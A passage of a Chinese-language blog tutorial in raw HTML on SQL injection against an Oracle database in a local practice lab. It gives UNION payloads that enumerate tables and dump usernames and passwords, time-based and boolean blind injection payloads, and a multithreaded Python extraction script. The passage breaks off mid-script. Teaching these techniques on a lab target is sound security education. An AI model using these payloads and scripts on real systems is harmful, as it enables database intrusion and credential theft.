class=\"language-text\"><span class=\"line\"><span>?name=a' union select NULL,table_name,owner from all_tables --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/41.png\" class=\"\"></p>\n<p>这样显示的表特别多的话可以试试：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select NULL,table_name,owner from all_tables where owner in ('SYSTEM')--+</span></span></code></pre>\n<p>只查询SYSTEM下可访问的表，在本靶场中表名叫做<code>vuln_users</code></p>\n<p>接着继续查字段名：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select NULL,column_name,NULL from all_tab_columns --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/42.png\" class=\"\"></p>\n<p>同样可以利用下列字段进行过滤：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select NULL,column_name,owner from all_tab_columns where owner in ('SYSTEM')--+</span></span></code></pre>\n<p>我们之前提到过没有加双引号的都会自动转成大写，所以我们的表名列名也是转为大写了的：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select NULL,column_name,NULL from user_tab_columns where table_name='vuln_users' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/43.png\" class=\"\"></p>\n<p>用rowname限制行数和<code>not in</code>语句限制查询内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=a' union select ID,USERNAME,PASSWORD from VULN_USERS where rownum=1 and USERNAME not in ('admin','guest')--</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/44.png\" class=\"\"></p>\n<h2 id=\"时间盲注-2\"><a class=\"anchor\" href=\"#时间盲注-2\">#</a> 时间盲注</h2>\n<p>利用的原理还是那个逻辑只不过就是换换函数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' and 1=(case when substr((select user from dual),1,1)='S' then dbms_pipe.receive_message('p',5) else 1 end) --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/45.png\" class=\"\"></p>\n<p>脚本如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> time</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5002/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select user from dual</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">char</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">3</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">        \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">None</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    lock</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Lock</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Event</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"admin' and 1=(case when substr((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' then dbms_pipe.receive_message('p',5) else 1 end) -- \"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        start</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            end</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">time</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">perf_counter</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            cost</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">end</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> cost</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threshold</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> char</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result</span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/47.png\" class=\"\"></p>\n<h2 id=\"布尔盲注-3\"><a class=\"anchor\" href=\"#布尔盲注-3\">#</a> 布尔盲注</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' and substr((select user from dual),1,1)='S' --+</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/46.png\" class=\"\"></p>\n<p>我们利用真页面返回oracle来写布尔盲注：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threading</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">http://localhost:5002/user</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">select user from dual</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">10</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">char</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">&#123;&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">~!@#$%^&#x26;*()+[]?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> position </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> range</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">1</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">101</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    found</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span 